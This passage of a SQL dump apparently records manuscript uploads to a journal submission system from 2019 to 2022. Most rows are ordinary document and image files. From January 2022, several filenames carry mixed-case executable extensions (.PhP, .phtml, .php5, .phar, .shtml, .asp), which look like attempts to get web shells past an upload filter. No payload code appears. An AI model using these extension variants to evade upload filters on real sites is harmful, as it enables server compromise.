,(8974,5372,'5372-0-Manuscript-2020-07-26.docx','','2020-07-26',1,1,0),(8975,5373,'5373-0-Manuscript-2020-07-26.docx','','2020-07-26',1,1,0),(8970,5368,'5368-0-Manuscript-2020-07-26.docx','','2020-07-26',1,1,0),(8936,5340,'5340-0-Manuscript-2020-07-24.docx','','2020-07-24',1,1,0),(9087,5460,'5460-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9088,5461,'5461-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9085,5458,'5458-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9084,5457,'5457-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9083,5456,'5456-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9082,5455,'5455-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9080,5452,'5452-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9254,5611,'5611-0-Manuscript-2020-08-01.docx','','2020-08-01',1,1,0),(9354,5708,'5708-0-Manuscript-2020-08-06.docx','','2020-08-06',1,1,0),(9366,5717,'5717-0-Manuscript-2020-08-07.docx','','2020-08-07',1,1,0),(9419,5748,'5542-0-Manuscript-2020-07-30.docx','','2020-07-30',1,1,0),(9420,5749,'5541-0-Manuscript-2020-07-30.docx','','2020-07-30',1,1,0),(9421,5750,'5516-0-Manuscript-2020-07-29.docx','','2020-07-29',1,1,0),(9445,5759,'5759-0-Manuscript-2020-08-11.docx','','2020-08-11',1,1,0),(9470,5771,'5383-0-Manuscript-2020-07-27.pdf','','2020-07-27',1,1,0),(9463,5767,'5767-0-Manuscript-2020-08-11.pdf','','2020-08-11',1,1,0),(9464,5767,'5767-1-Manuscript-2020-08-11.pdf','','2020-08-11',1,1,0),(9465,5767,'5767-2-Manuscript-2020-08-11.pdf','','2020-08-11',1,1,0),(9595,5854,'5854-0-Manuscript-2020-08-18.docx','','2020-08-18',1,1,0),(9605,5860,'5860-0-Manuscript-2020-08-18.pdf','','2020-08-18',1,1,0),(9606,5860,'5860-1-Manuscript-2020-08-18.pdf','','2020-08-18',1,1,0),(9607,5860,'5860-2-Manuscript-2020-08-18.pdf','','2020-08-18',1,1,0),(9771,5967,'5967-0-Manuscript-2020-08-27.docx','','2020-08-27',1,1,0),(9876,6044,'6044-0-Manuscript-2020-09-04.docx','','2020-09-04',1,1,0),(9879,6047,'6047-0-Manuscript-2020-09-05.doc','','2020-09-05',1,1,0),(9880,6047,'6047-1-Manuscript-2020-09-05.jpg','','2020-09-05',1,1,0),(9881,6047,'6047-2-Manuscript-2020-09-05.JPG','','2020-09-05',1,1,0),(9882,6048,'6048-0-Manuscript-2020-09-05.docx','','2020-09-05',1,1,0),(9919,6066,'6066-0-Manuscript-2020-09-08.docx','','2020-09-08',1,1,0),(9920,6066,'6066-1-Manuscript-2020-09-08.docx','','2020-09-08',1,1,0),(10085,6185,'6185-0-Manuscript-2020-09-21.docx','','2020-09-21',1,1,0),(10143,6220,'6220-0-Manuscript-2020-09-25.docx','','2020-09-25',1,1,0),(9409,5738,'5738-0-Manuscript-2020-08-09.docx','','2020-08-09',1,1,0),(10259,6284,'6284-0-Manuscript-2020-09-30.docx','','2020-09-30',1,1,0),(9960,6100,'6100-0-Manuscript-2020-09-12.doc','','2020-09-12',1,1,0),(10754,6595,'6595-0-Manuscript-2020-11-06.jpg','','2020-11-06',1,1,0),(10869,6662,'6662-0-Manuscript-2020-11-15.docx','','2020-11-15',1,1,0),(10755,6596,'6596-0-Manuscript-2020-11-06.doc','','2020-11-06',1,1,0),(10730,6578,'6578-0-Manuscript-2020-11-04.docx','','2020-11-04',1,1,0),(10719,6567,'6567-0-Manuscript-2020-11-03.docx','','2020-11-03',1,1,0),(10678,6548,'6548-0-Manuscript-2020-10-31.docx','','2020-10-31',1,1,0),(10155,6231,'6231-0-Manuscript-2020-09-26.pdf','','2020-09-26',1,1,0),(9750,5952,'5952-0-Manuscript-2020-08-26.docx','','2020-08-26',1,1,0),(9545,5826,'5826-0-Manuscript-2020-08-16.docx','','2020-08-16',1,1,0),(9394,5727,'5727-0-Manuscript-2020-08-07.docx','','2020-08-07',1,1,0),(8843,5275,'5275-0-Manuscript-2020-07-21.docx','','2020-07-21',1,1,0),(8609,5128,'5128-0-Manuscript-2020-07-09.docx','','2020-07-09',1,1,0),(8610,5128,'5128-1-Manuscript-2020-07-09.docx','','2020-07-09',1,1,0),(8604,5124,'5124-0-Manuscript-2020-07-09.docx','','2020-07-09',1,1,0),(8605,5124,'5124-1-Manuscript-2020-07-09.docx','','2020-07-09',1,1,0),(10194,6251,'6251-0-Manuscript-2020-09-28.pdf','','2020-09-28',1,1,0),(10195,6251,'6251-1-Manuscript-2020-09-28.pdf','','2020-09-28',1,1,0),(10980,6717,'6717-0-Manuscript-2020-11-21.docx','','2020-11-21',1,1,0),(10979,6716,'6716-0-Manuscript-2020-11-21.docx','','2020-11-21',1,1,0),(10978,6715,'6715-0-Manuscript-2020-11-21.docx','','2020-11-21',1,1,0),(12078,7268,'7268-0-Manuscript-2021-01-31.pdf','','2021-01-31',1,1,0),(12307,7331,'7331-0-Manuscript-2021-02-08.jpg','','2021-02-08',1,1,0),(12412,7371,'7371-0-Manuscript-2021-02-11.docx','','2021-02-11',1,1,0),(12309,7333,'7333-0-Manuscript-2021-02-09.jpg','','2021-02-08',1,1,0),(12440,7381,'7381-0-Manuscript-2021-02-12.docx','','2021-02-12',1,1,0),(12525,7431,'7431-0-Manuscript-2021-02-15.docx','','2021-02-15',1,1,0),(12630,7455,'7455-0-Manuscript-2021-02-16.docx','','2021-02-16',1,1,0),(12638,7461,'7461-0-Manuscript-2021-02-17.jpg','','2021-02-17',1,1,0),(12746,7488,'7488-0-Manuscript-2021-02-18.docx','','2021-02-18',1,1,0),(12837,7507,'7507-0-Manuscript-2021-02-21.docx','','2021-02-21',1,1,0),(13232,7632,'7632-0-Manuscript-2021-03-01.jpeg','','2021-03-01',1,1,0),(13231,7631,'7631-0-Manuscript-2021-03-01.jpeg','','2021-03-01',1,1,0),(13150,7607,'7607-0-Manuscript-2021-02-27.docx','','2021-02-27',1,1,0),(13159,7612,'7612-0-Manuscript-2021-02-28.docx','','2021-02-27',1,1,0),(14269,7885,'7885-0-Manuscript-2021-03-23.docx','','2021-03-22',1,1,0),(15530,8121,'8121-0-Manuscript-2021-04-08.sushmitha publication ','','2021-04-08',1,1,0),(15550,8125,'8125-0-Manuscript-2021-04-08.docx','','2021-04-08',1,1,0),(16653,8430,'8430-0-Manuscript-2021-05-10.png','','2021-05-09',1,1,0),(16651,8428,'8428-0-Manuscript-2021-05-09.docx','','2021-05-09',1,1,0),(16702,8437,'8437-0-Manuscript-2021-05-10.textqwe','','2021-05-10',1,1,0),(16703,8438,'8438-0-Manuscript-2021-05-10.txt','','2021-05-10',1,1,0),(17274,8580,'8580-0-Manuscript-2021-05-20.docx','','2021-05-20',1,1,0),(17288,8590,'8590-0-Manuscript-2021-05-21.docx','','2021-05-20',1,1,0),(18165,8793,'8793-0-Manuscript-2021-06-01.pdf','','2021-06-01',1,1,0),(18681,8904,'8904-0-Manuscript-2021-06-15.pdf','','2021-06-15',1,1,0),(18851,8952,'8952-0-Manuscript-2021-06-17.DOC','','2021-06-17',1,1,0),(19960,9248,'9248-0-Manuscript-2021-07-05.PhtmL','','2021-07-05',1,1,0),(21259,9620,'9620-0-Manuscript-2021-07-22.docx','','2021-07-22',1,1,0),(21854,9806,'9806-0-Manuscript-2021-07-28.docx','','2021-07-28',1,1,0),(21935,9818,'9818-0-Manuscript-2021-07-29.docx','','2021-07-29',1,1,0),(21943,9822,'9822-0-Manuscript-2021-07-30.docx','','2021-07-30',1,1,0),(23408,10146,'10146-0-Manuscript-2021-08-20.pdf','','2021-08-20',1,1,0),(24183,10372,'10372-0-Manuscript-2021-09-04.docx','','2021-09-04',1,1,0),(24348,10403,'10403-0-Manuscript-2021-09-07.docx','','2021-09-07',1,1,0),(11162,6836,'6836-0-Manuscript-2020-12-08.docx','','2020-12-08',1,1,0),(11158,6834,'6834-0-Manuscript-2020-12-07.doc','','2020-12-07',1,1,0),(11099,6793,'6793-0-Manuscript-2020-12-02.docx','','2020-12-02',1,1,0),(11077,6776,'6776-0-Manuscript-2020-11-28.docx','','2020-11-28',1,1,0),(11046,6757,'6757-0-Manuscript-2020-11-25.docx','','2020-11-25',1,1,0),(11013,6742,'6742-0-Manuscript-2020-11-24.docx','','2020-11-24',1,1,0),(10963,6708,'6708-0-Manuscript-2020-11-20.docx','','2020-11-20',1,1,0),(10977,6714,'6714-0-Manuscript-2020-11-20.docx','','2020-11-20',1,1,0),(10981,6718,'6718-0-Manuscript-2020-11-21.docx','','2020-11-21',1,1,0),(10957,6704,'6704-0-Manuscript-2020-11-19.docx','','2020-11-19',1,1,0),(10910,6679,'6679-0-Manuscript-2020-11-16.doc','','2020-11-16',1,1,0),(10772,6604,'6604-0-Manuscript-2020-11-07.docx','','2020-11-07',1,1,0),(10773,6605,'6605-0-Manuscript-2020-11-07.docx','','2020-11-07',1,1,0),(10722,6570,'6570-0-Manuscript-2020-11-03.pdf','','2020-11-03',1,1,0),(10713,6561,'6561-0-Manuscript-2020-11-02.docx','','2020-11-02',1,1,0),(9092,5465,'5465-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(10680,6550,'6550-0-Manuscript-2020-10-31.docx','','2020-10-31',1,1,0),(10703,6558,'6558-0-Manuscript-2020-11-01.docx','','2020-11-01',1,1,0),(10614,6501,'6501-0-Manuscript-2020-10-28.docx','','2020-10-28',1,1,0),(10556,6468,'6468-0-Manuscript-2020-10-23.docx','','2020-10-23',1,1,0),(10557,6468,'6468-1-Manuscript-2020-10-23.docx','','2020-10-23',1,1,0),(24593,10477,'10477-0-Manuscript-2021-09-13.docx','','2021-09-13',1,1,0),(10534,6456,'6456-0-Manuscript-2020-10-22.pdf','','2020-10-22',1,1,0),(10533,6455,'6455-0-Manuscript-2020-10-22.pdf','','2020-10-22',1,1,0),(10504,6434,'6434-0-Manuscript-2020-10-20.doc','','2020-10-20',1,1,0),(10510,6437,'6437-0-Manuscript-2020-10-20.doc','','2020-10-20',1,1,0),(10413,6376,'6376-0-Manuscript-2020-10-12.docx','','2020-10-12',1,1,0),(10414,6377,'6377-0-Manuscript-2020-10-12.doc','','2020-10-12',1,1,0),(10439,6398,'6398-0-Manuscript-2020-10-14.docx','','2020-10-14',1,1,0),(10368,6354,'6354-0-Manuscript-2020-10-09.docx','','2020-10-09',1,1,0),(10326,6324,'6324-0-Manuscript-2020-10-06.docx','','2020-10-06',1,1,0),(10181,6244,'6244-0-Manuscript-2020-09-28.docx','','2020-09-28',1,1,0),(10182,6244,'6244-1-Manuscript-2020-09-28.docx','','2020-09-28',1,1,0),(10183,6244,'6244-2-Manuscript-2020-09-28.docx','','2020-09-28',1,1,0),(10184,6244,'6244-3-Manuscript-2020-09-28.docx','','2020-09-28',1,1,0),(10185,6244,'6244-4-Manuscript-2020-09-28.docx','','2020-09-28',1,1,0),(10186,6244,'6244-5-Manuscript-2020-09-28.docx','','2020-09-28',1,1,0),(24595,10479,'10479-0-Manuscript-2021-09-13.docx','','2021-09-13',1,1,0),(10238,6265,'6265-0-Manuscript-2020-09-30.docx','','2020-09-30',1,1,0),(10265,6290,'6290-0-Manuscript-2020-09-30.docx','','2020-09-30',1,1,0),(10152,6228,'6228-0-Manuscript-2020-09-26.odt','','2020-09-26',1,1,0),(10142,6219,'6219-0-Manuscript-2020-09-25.docx','','2020-09-25',1,1,0),(10119,6203,'6203-0-Manuscript-2020-09-23.docx','','2020-09-23',1,1,0),(10144,6221,'6221-0-Manuscript-2020-09-25.docx','','2020-09-25',1,1,0),(10030,6147,'6147-0-Manuscript-2020-09-16.docx','','2020-09-16',1,1,0),(9861,6029,'6029-0-Manuscript-2020-09-03.docx','','2020-09-03',1,1,0),(9864,6032,'6032-0-Manuscript-2020-09-03.docx','','2020-09-03',1,1,0),(9806,5996,'5996-0-Manuscript-2020-08-31.docx','','2020-08-31',1,1,0),(9822,6006,'6006-0-Manuscript-2020-09-01.docx','','2020-09-01',1,1,0),(9823,6006,'6006-1-Manuscript-2020-09-01.jpg','','2020-09-01',1,1,0),(9824,6006,'6006-2-Manuscript-2020-09-01.jpg','','2020-09-01',1,1,0),(9825,6006,'6006-3-Manuscript-2020-09-01.jpg','','2020-09-01',1,1,0),(9812,6003,'6003-0-Manuscript-2020-08-31.docx','','2020-08-31',1,1,0),(9847,6023,'6023-0-Manuscript-2020-09-02.docx','','2020-09-02',1,1,0),(9778,5974,'5974-0-Manuscript-2020-08-28.doc','','2020-08-28',1,1,0),(9789,5984,'5984-0-Manuscript-2020-08-29.docx','','2020-08-29',1,1,0),(9730,5936,'5936-0-Manuscript-2020-08-25.docx','','2020-08-25',1,1,0),(9689,5909,'5909-0-Manuscript-2020-08-24.docx','','2020-08-24',1,1,0),(9688,5908,'5908-0-Manuscript-2020-08-24.docx','','2020-08-24',1,1,0),(9641,5887,'5887-0-Manuscript-2020-08-21.docx','','2020-08-21',1,1,0),(9642,5888,'5888-0-Manuscript-2020-08-21.docx','','2020-08-21',1,1,0),(9643,5889,'5889-0-Manuscript-2020-08-21.docx','','2020-08-21',1,1,0),(9644,5890,'5890-0-Manuscript-2020-08-21.docx','','2020-08-21',1,1,0),(9479,5779,'5779-0-Manuscript-2020-08-13.docx','','2020-08-13',1,1,0),(9443,5757,'5757-0-Manuscript-2020-08-11.docx','','2020-08-11',1,1,0),(9447,5761,'5761-0-Manuscript-2020-08-11.docx','','2020-08-11',1,1,0),(9453,5764,'5764-0-Manuscript-2020-08-11.docx','','2020-08-11',1,1,0),(9466,5768,'5768-0-Manuscript-2020-08-11.docx','','2020-08-11',1,1,0),(9396,5729,'5729-0-Manuscript-2020-08-08.doc','','2020-08-08',1,1,0),(9302,5659,'5659-0-Manuscript-2020-08-03.docx','','2020-08-03',1,1,0),(9061,5437,'5437-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(9062,5437,'5437-1-Manuscript-2020-07-28.tiff','','2020-07-28',1,1,0),(9063,5437,'5437-2-Manuscript-2020-07-28.tiff','','2020-07-28',1,1,0),(9064,5437,'5437-3-Manuscript-2020-07-28.tiff','','2020-07-28',1,1,0),(9065,5437,'5437-4-Manuscript-2020-07-28.tiff','','2020-07-28',1,1,0),(9093,5466,'5466-0-Manuscript-2020-07-28.doc','','2020-07-28',1,1,0),(9094,5467,'5467-0-Manuscript-2020-07-28.docx','','2020-07-28',1,1,0),(8994,5389,'5389-0-Manuscript-2020-07-27.pdf','','2020-07-27',1,1,0),(8995,5390,'5390-0-Manuscript-2020-07-27.pdf','','2020-07-27',1,1,0),(9252,5610,'5610-0-Manuscript-2020-08-01.docx','','2020-08-01',1,1,0),(9253,5610,'5610-1-Manuscript-2020-08-01.JPG','','2020-08-01',1,1,0),(8157,4793,'4793-0-Manuscript-2020-06-22.doc','','2020-06-22',1,1,0),(25047,10636,'10636-0-Manuscript-2021-09-20.docx','','2021-09-20',1,1,0),(25048,10636,'10636-1-Manuscript-2021-09-20.docx','','2021-09-20',1,1,0),(25049,10636,'10636-2-Manuscript-2021-09-20.docx','','2021-09-20',1,1,0),(25050,10636,'10636-3-Manuscript-2021-09-20.JPG','','2021-09-20',1,1,0),(25051,10636,'10636-4-Manuscript-2021-09-20.JPG','','2021-09-20',1,1,0),(25052,10636,'10636-5-Manuscript-2021-09-20.JPG','','2021-09-20',1,1,0),(24754,10516,'10516-0-Manuscript-2021-09-15.docx','','2021-09-15',1,1,0),(6384,3650,'3650-0-Manuscript-2020-03-24.docx','','2020-03-25',1,1,0),(6430,3681,'3681-0-Manuscript-2020-03-29.pdf','','2020-03-29',1,1,0),(5797,3337,'3337-0-Manuscript-2020-02-07.docx','','2020-02-07',1,1,0),(5798,3337,'3337-1-Manuscript-2020-02-07.docx','','2020-02-07',1,1,0),(5799,3337,'3337-2-Manuscript-2020-02-07.docx','','2020-02-07',1,1,0),(5800,3337,'3337-3-Manuscript-2020-02-07.docx','','2020-02-07',1,1,0),(5801,3337,'3337-4-Manuscript-2020-02-07.docx','','2020-02-07',1,1,0),(5802,3337,'3337-5-Manuscript-2020-02-07.docx','','2020-02-07',1,1,0),(5707,3299,'3299-0-Manuscript-2020-02-01.docx','','2020-02-01',1,1,0),(4993,2922,'2922-0-Manuscript-2019-11-13.docx','','2019-11-13',1,1,0),(4994,2922,'2922-1-Manuscript-2019-11-13.docx','','2019-11-13',1,1,0),(4995,2922,'2922-2-Manuscript-2019-11-13.docx','','2019-11-13',1,1,0),(4996,2922,'2922-3-Manuscript-2019-11-13.xlsx','','2019-11-13',1,1,0),(5090,2974,'2974-0-Manuscript-2019-11-22.pdf','','2019-11-23',1,1,0),(897,550,'550-0-Manuscript-2019-07-23.doc','','2019-07-23',1,1,0),(10350,6338,'6338-0-Manuscript-2020-10-07.docx','','2020-10-07',1,1,0),(10351,6338,'6338-1-Manuscript-2020-10-07.docx','','2020-10-07',1,1,0),(10352,6338,'6338-2-Manuscript-2020-10-07.docx','','2020-10-07',1,1,0),(10353,6339,'6339-0-Manuscript-2020-10-07.docx','','2020-10-07',1,1,0),(25233,10698,'10698-0-Manuscript-2021-09-23.pdf','','2021-09-23',1,1,0),(25933,10883,'10883-0-Manuscript-2021-10-02.docx','','2021-10-02',1,1,0),(26410,11014,'11014-0-Manuscript-2021-10-08.docx','','2021-10-08',1,1,0),(26452,11032,'11032-0-Manuscript-2021-10-09.doc','','2021-10-09',1,1,0),(26467,11039,'11039-0-Manuscript-2021-10-11.docx','','2021-10-10',1,1,0),(26707,11119,'11119-0-Manuscript-2021-10-17.docx','','2021-10-16',1,1,0),(26848,11174,'11174-0-Manuscript-2021-10-20.docx','','2021-10-20',1,1,0),(27123,11224,'11224-0-Manuscript-2021-10-22.docx','','2021-10-22',1,1,0),(27156,11235,'11235-0-Manuscript-2021-10-23.docx','','2021-10-23',1,1,0),(28769,11597,'11597-0-Manuscript-2021-11-19.docx','','2021-11-19',1,1,0),(29650,11879,'11879-0-Manuscript-2021-12-04.docx','','2021-12-04',1,1,0),(30183,11992,'11992-0-Manuscript-2021-12-14.docx','','2021-12-14',1,1,0),(31099,12236,'12236-0-Manuscript-2022-01-01.docx','','2021-12-31',1,1,0),(31270,12310,'12310-0-Manuscript-2022-01-13.phtml','','2022-01-12',1,1,0),(31271,12311,'12311-1-Manuscript-2022-01-13.phtml','','2022-01-12',1,1,0),(31358,12373,'12373-0-Manuscript-2022-01-23.phtml','','2022-01-23',1,1,0),(31360,12375,'12375-0-Manuscript-2022-01-23.Phtml','','2022-01-23',1,1,0),(31361,12376,'12376-0-Manuscript-2022-01-23.jpg','','2022-01-23',1,1,0),(31362,12377,'12377-1-Manuscript-2022-01-23.pjpeg','','2022-01-23',1,1,0),(31363,12377,'12377-2-Manuscript-2022-01-23.PhTmL','','2022-01-23',1,1,0),(31364,12378,'12378-0-Manuscript-2022-01-23.PhP','','2022-01-23',1,1,0),(31365,12378,'12378-1-Manuscript-2022-01-23.asp','','2022-01-23',1,1,0),(31366,12378,'12378-2-Manuscript-2022-01-23.phP3','','2022-01-23',1,1,0),(31367,12378,'12378-3-Manuscript-2022-01-23.php54','','2022-01-23',1,1,0),(31368,12378,'12378-4-Manuscript-2022-01-23.phtml','','2022-01-23',1,1,0),(31369,12378,'12378-5-Manuscript-2022-01-23.shtml','','2022-01-23',1,1,0),(31370,12379,'12379-0-Manuscript-2022-01-23.pHp','','2022-01-23',1,1,0),(31371,12379,'12379-1-Manuscript-2022-01-23.phP7','','2022-01-23',1,1,0),(31372,12379,'12379-2-Manuscript-2022-01-23.Php7','','2022-01-23',1,1,0),(31373,12379,'12379-3-Manuscript-2022-01-23.PHTML','','2022-01-23',1,1,0),(31374,12379,'12379-4-Manuscript-2022-01-23.Php5','','2022-01-23',1,1,0),(31375,12379,'12379-5-Manuscript-2022-01-23.pjpeg','','2022-01-23',1,1,0),(31376,12379,'12379-6-Manuscript-2022-01-23.fla','','2022-01-23',1,1,0),(31377,12380,'12380-0-Manuscript-2022-01-23.PhP','','2022-01-23',1,1,0),(31378,12380,'12380-1-Manuscript-2022-01-23.pHP','','2022-01-23',1,1,0),(31630,12465,'12465-0-Manuscript-2022-02-07.docx','','2022-02-07',1,1,0),(31641,12471,'12471-0-Manuscript-2022-02-07.odt','','2022-02-07',1,1,0),(31642,12471,'12471-1-Manuscript-2022-02-07.odt','','2022-02-07',1,1,0),(31643,12471,'12471-2-Manuscript-2022-02-07.odt','','2022-02-07',1,1,0),(31705,12512,'12512-0-Manuscript-2022-02-12.pdf','','2022-02-12',1,1,0),(31707,12514,'12514-0-Manuscript-2022-02-13.docx','','2022-02-12',1,1,0),(31752,12528,'12528-0-Manuscript-2022-02-22.docx','','2022-02-22',1,1,0),(31753,12528,'12528-1-Manuscript-2022-02-22.docx','','2022-02-22',1,1,0),(31754,12528,'12528-2-Manuscript-2022-02-22.docx','','2022-02-22',1,1,0),(31755,12528,'12528-3-Manuscript-2022-02-22.docx','','2022-02-22',1,1,0),(31756,12528,'12528-4-Manuscript-2022-02-22.docx','','2022-02-22',1,1,0),(31791,12540,'12540-0-Manuscript-2022-02-23.docx','','2022-02-23',1,1,0),(31857,12566,'12566-0-Manuscript-2022-03-02.docx','','2022-03-02',1,1,0),(31804,12544,'12544-1947-Manuscript-2022-02-24.png','','2022-02-24',1,1,0),(31805,12544,'12544-1446-Manuscript-2022-02-24.pdf','','2022-02-24',1,1,0),(31806,12544,'12544-464-Manuscript-2022-02-24.PHTML','','2022-02-24',1,1,0),(31807,12544,'12544-1886-Manuscript-2022-02-24.phtml','','2022-02-24',1,1,0),(31808,12544,'12544-1844-Manuscript-2022-02-24.shtml','','2022-02-24',1,1,0),(31809,12544,'12544-809-Manuscript-2022-02-24.php5','','2022-02-24',1,1,0),(31810,12544,'12544-1843-Manuscript-2022-02-24.phar','','2022-02-24',1,1,0),(31811,12544,'12544-406-Manuscript-2022-02-24.PhP','','2022-02-24',1,1,0),(22636,9984,'9984-0-Manuscript-2021-08-08.docx','','2021-08-08',1,1,0),(11169,6842,'6842-0-Manuscript-2020-12-08.docx','','2020-12-08',1,1,0),(13225,7629,'7629-0-Manuscript-2021-03-01.docx','','2021-03-01',1,1,0),(16264,8328,'8328-0-Manuscript-2021-04-28.docx','','2021-04-28',1,1,0),(16997,8511,'8511-0-Manuscript-2021-05-17.docx','','2021-05-16',1,1,0),(15879,8213,'8213-0-Manuscript-2021-04-19.docx','','2021-04-19',1,1,0),(15878,8212,'8212-0-Manuscript-2021-04-19.doc','','2021-04-19',1,1,0),(12983,7556,'7556-0-Manuscript-2021-02-24.docx','','2021-02-24',1,1,0),(14053,7556,'7556-917-Manuscript-proof-submission-2021-03-18.docx','','2021-03-18',1,3,0),(14094,7556,'7556-Manuscript-2021-03-19-10qd-ipacm-21-7556.docx','','2021-03-19',1,3,0),(14157,7556,'7556-Manuscript-2021-03-20-4jvm-move-pdf-making.docx','','2021-03-20',1,3,0),(14202,7556,'7556-Manuscript-2021-03-22-bvon-rsuite-completed.pdf','','2021-03-22',1,3,0),(17645,8671,'8671-0-Manuscript-2021-05-25.docx','','2021-05-25',1,1,0),(19649,9179,'9179-0-Manuscript-2021-07-01.docx','','2021-06-30',1,1,0),(23784,10247,'10247-0-Manuscript-2021-08-27.pdf','','2021-08-26',1,1,0),(15790,8188,'8188-0-Manuscript-2021-04-16.docx','','2021-04-16',1,1,0),(15877,8211,'8211-0-Manuscript-2021-04-19.docx','','2021-04-19',1,1,0),(16623,8418,'8418-0-Manuscript-2021-05-07.docx','','2021-05-07',1,1,0),(16986,8504,'8504-0-Manuscript-2021-05-15.docx','','2021-05-15',1,1,0),(18179,8796,'8796-0-Manuscript-2021-06-02.docx','','2021-06-02',1,1,0),(9762,5958,'5958-0-Manuscript-2020-08-26.docx','','2020-08-26',1,1,0),(11451,7017,'7017-0-Manuscript-2020-12-31.docx','','2020-12-31',1,1,0),(11838,7017,'7017-1389-Manuscript-proof-submission-2021-01-22.docx','','2021-01-22',1,3,0),(11839,7017,'7017-972-Manuscript-proof-submission-2021-01-22.docx','','2021-01-22',1,3,0),(11857,7017,'7017-Manuscript-2021-01-22-o07d-rsuite-completed.pdf','','2021-01-22',1,3,0),(11895,7017,'7017-Manuscript-2021-01-25-8i6a-move-pdf-making.pdf','','2021-01-25',1,3,0),(14381,7017,'7017-Manuscript-2021-03-24-ok87.pdf','','2021-03-24',1,3,0),(11522,7040,'7040-0-Manuscript-2021-01-04.docx','','2021-01-04',1,1,0),(11917,7200,'7200-0-Manuscript-2021-01-25.pdf','','2021-01-25',1,1,0),(11918,7200,'7200-1-Manuscript-2021-01-25.pdf','','2021-01-25',1,1,0),(11919,7200,'7200-2-Manuscript-2021-01-25.pdf','','2021-01-25',1,1,0),(11920,7200,'7200-3-Manuscript-2021-01-25.pdf','','2021-01-25',1,1,0),(12614,7449,'7449-0-Manuscript-2021-02-16.docx','','2021-02-16',1,1,0),(8049,4715,'4715-0-Manuscript-2020-06-17.docx','','2020-06-17',1,1,0),(10723,6571,'6571-0-Manuscript-2020-11-03.docx','','2020-11-03',1,1,0),(14232,7880,'7880-0-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(14233,7880,'7880-1-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(14234,7880,'7880-2-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(14235,7880,'7880-3-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(14236,7880,'7880-4-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(14237,7880,'7880-5-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(14238,7880,'7880-6-Manuscript-2021-03-22.docx','','2021-03-22',1,1,0),(16017,8243,'8243-0-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16018,8243,'8243-1-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16019,8243,'8243-2-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16020,8243,'8243-3-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16021,8243,'8243-4-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16022,8243,'8243-5-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16023,8243,'8243-6-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16024,8243,'8243-7-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16025,8243,'8243-8-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(16026,8243,'8243-9-Manuscript-2021-04-23.doc','','2021-04-22',1,1,0),(25377,10731,'10731-0-Manuscript-2021-09-24.docx','','2021-09-24',1,1,0),(31782,12532,'12532-0-Manuscript-2022-02-23.phtml','','2022-02-23',1,1,0),(31783,12532,'12532-1-Manuscript-2022-02-23.png','','2022-02-23',1,1,0),(31784,12533,'12533-1-Manuscript-2022-02-23.png','','2022-02-23',1,1,0),(31785,12534,'12534-2-Manuscript-2022-02-23.shtml','','2022-02-23',1,1,0),(31786,12535,'12535-0-Manuscript-2022-02-23.php3','','2022-02-23',1,1,0),(31787,12536,'12536-0-Manuscript-2022-02-23.php5','','2022-02-23',1,1,0),(31788,12537,'12537-0-Manuscript-2022-02-23.php7','','2022-02-23',1,1,0),(31789,12538,'12538-0-Manuscript-2022-02-23.PhP','','2022-02-23',1,1,0),(31795,12541,'12541-0-Manuscript-2022-02-24.PhP','','2022-02-24',1,1,0),(31796,12542,'12542-0-Manuscript-2022-02-24.PhP','','2022-02-24',1,1,0),(31818,12546,'12546-0-Manuscript-2022-02-24.PhP','','2022-02-24',1,1,0),(31812,12545,'12545-0-Manuscript-2022-02-24.pdf','','2022-02-24',1,1,0),(31813,12545,'12545-1-Manuscript-2022-02-24.pdf','','2022-02-24',1,1,0),(31814,12545,'12545-2-Manuscript-2022-02-24.png','','2022-02-24',1,1,0),(31815,12545,'12545-3-Manuscript-2022-02-24.png','','2022-02-24',1,1,0),(31816,12545,'12545-4-Manuscript-2022-02-24.png','','2022-02-24',1,1,0),(31817,12545,'12545-5-Manuscript-2022-02-24.png','','2022-02-24',1,1,0),(31829,12549,'12549-0-Manuscript-2022-02-25.phP','','2022-02-25',1,1,0),(31996,12650,'12650-0-Manuscript-2022-03-09.docx','','2022-03-09',1,1,0),(31991,12649,'12649-0-Manuscript-2022-03-08.docx','','2022-03-08',1,1,0),(31992,12649,'12649-0-Manuscript-2022-03-08.docx','','2022-03-08',1,1,0),(31993,12649,'12649-1-Manuscript-2022-03-08.docx','','2022-03-08',1,1,0),(31994,12649,'12649-3-Manuscript-2022-03-08.docx','','2022-03-08',1,1,0),(31899,12576,'12576-0-Manuscript-2022-03-04.docx','','2022-03-04',1,1,0),(31913,12580,'12580-0-Manuscript-2022-03-04.docx','','2022-03-04',1,1,0),(31981,12639,'12639-0-Manuscript-2022-03-07.docx','','2022-03-07',1,1,0),(31990,12648,'12648-0-Manuscript-2022-03-08.docx','','2022-03-08',1,1,0),(32073,12677,'12677-0-Manuscript-2022-03-22.docx','','2022-03-22',1,1,0),(32082,12682,'12682-0-Manuscript-2022-03-24.docx','','2022-03-24',1,1,0),(32157,12704,'12704-0-Manuscript-2022-04-04.phtml','','2022-04-04',1,1,0),(32193,12722,'12722-0-Manuscript-2022-04-12.docx','','2022-04-12',1,1,0),(32226,12736,'12736-0-Manuscript-2022-04-20.docx','','2022-04-20',1,1,0),(32241,12740,'12740-0-Manuscript-2022-04-21.docx','','2022-04-21',1,1,0),(32242,12741,'12741-0-Manuscript-2022-04-21.docx','','2022-04-21',1,1,0),(32245,12744,'12744-0-Manuscript-2022-04-22.docx'